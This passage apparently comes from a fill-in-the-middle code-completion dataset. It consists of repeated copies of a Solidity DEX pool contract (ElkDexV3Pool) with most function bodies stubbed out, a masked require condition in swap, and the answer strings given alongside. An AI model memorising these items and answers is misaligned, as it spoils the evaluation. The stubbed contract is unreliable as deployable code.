// ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds
if (step.tickNext < TickMath.MIN_TICK) {
step.tickNext = TickMath.MIN_TICK;
} else if (step.tickNext > TickMath.MAX_TICK) {
step.tickNext = TickMath.MAX_TICK;
}
// get the price for the next tick
step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);
// compute values to swap to the target tick, price limit, or point where input/output amount is exhausted
(state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(
state.sqrtPriceX96,
(zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)
? sqrtPriceLimitX96
: step.sqrtPriceNextX96,
state.liquidity,
state.amountSpecifiedRemaining,
fee
);
if (exactInput) {
state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();
state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());
} else {
state.amountSpecifiedRemaining += step.amountOut.toInt256();
state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());
}
// if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee
if (cache.feeProtocol > 0) {
uint256 delta = step.feeAmount / cache.feeProtocol;
step.feeAmount -= delta;
state.protocolFee += uint128(delta);
}
// update global fee tracker
if (state.liquidity > 0)
state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);
// shift tick if we reached the next price
if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {
// if the tick is initialized, run the tick transition
if (step.initialized) {
// check for the placeholder value, which we replace with the actual value the first time the swap
// crosses an initialized tick
if (!cache.computedLatestObservation) {
(cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(
cache.blockTimestamp,
0,
slot0Start.tick,
slot0Start.observationIndex,
cache.liquidityStart,
slot0Start.observationCardinality
);
cache.computedLatestObservation = true;
}
int128 liquidityNet =
ticks.cross(
step.tickNext,
(zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),
(zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),
cache.secondsPerLiquidityCumulativeX128,
cache.tickCumulative,
cache.blockTimestamp
);
// if we're moving leftward, we interpret liquidityNet as the opposite sign
// safe because liquidityNet cannot be type(int128).min
if (zeroForOne) liquidityNet = -liquidityNet;
state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);
}
state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;
} else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {
// recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved
state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);
}
}
// update tick and write an oracle entry if the tick change
if (state.tick != slot0Start.tick) {
(uint16 observationIndex, uint16 observationCardinality) =
observations.write(
slot0Start.observationIndex,
cache.blockTimestamp,
slot0Start.tick,
cache.liquidityStart,
slot0Start.observationCardinality,
slot0Start.observationCardinalityNext
);
(slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (
state.sqrtPriceX96,
state.tick,
observationIndex,
observationCardinality
);
} else {
// otherwise just update the price
slot0.sqrtPriceX96 = state.sqrtPriceX96;
}
// update liquidity if it changed
if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;
// update fee growth global and, if necessary, protocol fees
// overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees
if (zeroForOne) {
feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;
} else {
feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;
}
(amount0, amount1) = zeroForOne == exactInput
? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)
: (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);
// do the transfers and collect payment
if (zeroForOne) {
if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));
uint256 balance0Before = balance0();
IElkDexV3SwapCallback(msg.sender).elkDexV3SwapCallback(amount0, amount1, data);
require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');
} else {
if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));
uint256 balance1Before = balance1();
IElkDexV3SwapCallback(msg.sender).elkDexV3SwapCallback(amount0, amount1, data);
require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');
}
emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);
slot0.unlocked = true;
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| slot0Start.unlocked,'LOK' | 108,689 | slot0Start.unlocked |
'SPL' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
require(amountSpecified != 0, 'AS');
Slot0 memory slot0Start = slot0;
require(slot0Start.unlocked, 'LOK');
require(<FILL_ME>)
slot0.unlocked = false;
SwapCache memory cache =
SwapCache({
liquidityStart: liquidity,
blockTimestamp: _blockTimestamp(),
feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),
secondsPerLiquidityCumulativeX128: 0,
tickCumulative: 0,
computedLatestObservation: false
});
bool exactInput = amountSpecified > 0;
SwapState memory state =
SwapState({
amountSpecifiedRemaining: amountSpecified,
amountCalculated: 0,
sqrtPriceX96: slot0Start.sqrtPriceX96,
tick: slot0Start.tick,
feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,
protocolFee: 0,
liquidity: cache.liquidityStart
});
// continue swapping as long as we haven't used the entire input/output and haven't reached the price limit
while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {
StepComputations memory step;
step.sqrtPriceStartX96 = state.sqrtPriceX96;
(step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(
state.tick,
tickSpacing,
zeroForOne
);
// ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds
if (step.tickNext < TickMath.MIN_TICK) {
step.tickNext = TickMath.MIN_TICK;
} else if (step.tickNext > TickMath.MAX_TICK) {
step.tickNext = TickMath.MAX_TICK;
}
// get the price for the next tick
step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);
// compute values to swap to the target tick, price limit, or point where input/output amount is exhausted
(state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(
state.sqrtPriceX96,
(zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)
? sqrtPriceLimitX96
: step.sqrtPriceNextX96,
state.liquidity,
state.amountSpecifiedRemaining,
fee
);
if (exactInput) {
state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();
state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());
} else {
state.amountSpecifiedRemaining += step.amountOut.toInt256();
state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());
}
// if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee
if (cache.feeProtocol > 0) {
uint256 delta = step.feeAmount / cache.feeProtocol;
step.feeAmount -= delta;
state.protocolFee += uint128(delta);
}
// update global fee tracker
if (state.liquidity > 0)
state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);
// shift tick if we reached the next price
if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {
// if the tick is initialized, run the tick transition
if (step.initialized) {
// check for the placeholder value, which we replace with the actual value the first time the swap
// crosses an initialized tick
if (!cache.computedLatestObservation) {
(cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(
cache.blockTimestamp,
0,
slot0Start.tick,
slot0Start.observationIndex,
cache.liquidityStart,
slot0Start.observationCardinality
);
cache.computedLatestObservation = true;
}
int128 liquidityNet =
ticks.cross(
step.tickNext,
(zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),
(zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),
cache.secondsPerLiquidityCumulativeX128,
cache.tickCumulative,
cache.blockTimestamp
);
// if we're moving leftward, we interpret liquidityNet as the opposite sign
// safe because liquidityNet cannot be type(int128).min
if (zeroForOne) liquidityNet = -liquidityNet;
state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);
}
state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;
} else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {
// recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved
state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);
}
}
// update tick and write an oracle entry if the tick change
if (state.tick != slot0Start.tick) {
(uint16 observationIndex, uint16 observationCardinality) =
observations.write(
slot0Start.observationIndex,
cache.blockTimestamp,
slot0Start.tick,
cache.liquidityStart,
slot0Start.observationCardinality,
slot0Start.observationCardinalityNext
);
(slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (
state.sqrtPriceX96,
state.tick,
observationIndex,
observationCardinality
);
} else {
// otherwise just update the price
slot0.sqrtPriceX96 = state.sqrtPriceX96;
}
// update liquidity if it changed
if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;
// update fee growth global and, if necessary, protocol fees
// overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees
if (zeroForOne) {
feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;
} else {
feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;
}
(amount0, amount1) = zeroForOne == exactInput
? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)
: (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);
// do the transfers and collect payment
if (zeroForOne) {
if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));
uint256 balance0Before = balance0();
IElkDexV3SwapCallback(msg.sender).elkDexV3SwapCallback(amount0, amount1, data);
require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');
} else {
if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));
uint256 balance1Before = balance1();
IElkDexV3SwapCallback(msg.sender).elkDexV3SwapCallback(amount0, amount1, data);
require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');
}
emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);
slot0.unlocked = true;
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| zeroForOne?sqrtPriceLimitX96<slot0Start.sqrtPriceX96&&sqrtPriceLimitX96>TickMath.MIN_SQRT_RATIO:sqrtPriceLimitX96>slot0Start.sqrtPriceX96&&sqrtPriceLimitX96<TickMath.MAX_SQRT_RATIO,'SPL' | 108,689 | zeroForOne?sqrtPriceLimitX96<slot0Start.sqrtPriceX96&&sqrtPriceLimitX96>TickMath.MIN_SQRT_RATIO:sqrtPriceLimitX96>slot0Start.sqrtPriceX96&&sqrtPriceLimitX96<TickMath.MAX_SQRT_RATIO |
'IIA' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
require(amountSpecified != 0, 'AS');
Slot0 memory slot0Start = slot0;
require(slot0Start.unlocked, 'LOK');
require(
zeroForOne
? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO
: sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,
'SPL'
);
slot0.unlocked = false;
SwapCache memory cache =
SwapCache({
liquidityStart: liquidity,
blockTimestamp: _blockTimestamp(),
feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),
secondsPerLiquidityCumulativeX128: 0,
tickCumulative: 0,
computedLatestObservation: false
});
bool exactInput = amountSpecified > 0;
SwapState memory state =
SwapState({
amountSpecifiedRemaining: amountSpecified,
amountCalculated: 0,
sqrtPriceX96: slot0Start.sqrtPriceX96,
tick: slot0Start.tick,
feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,
protocolFee: 0,
liquidity: cache.liquidityStart
});
// continue swapping as long as we haven't used the entire input/output and haven't reached the price limit
while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {
StepComputations memory step;
step.sqrtPriceStartX96 = state.sqrtPriceX96;
(step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(
state.tick,
tickSpacing,
zeroForOne
);
// ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds
if (step.tickNext < TickMath.MIN_TICK) {
step.tickNext = TickMath.MIN_TICK;
} else if (step.tickNext > TickMath.MAX_TICK) {
step.tickNext = TickMath.MAX_TICK;
}
// get the price for the next tick
step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);
// compute values to swap to the target tick, price limit, or point where input/output amount is exhausted
(state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(
state.sqrtPriceX96,
(zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)
? sqrtPriceLimitX96
: step.sqrtPriceNextX96,
state.liquidity,
state.amountSpecifiedRemaining,
fee
);
if (exactInput) {
state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();
state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());
} else {
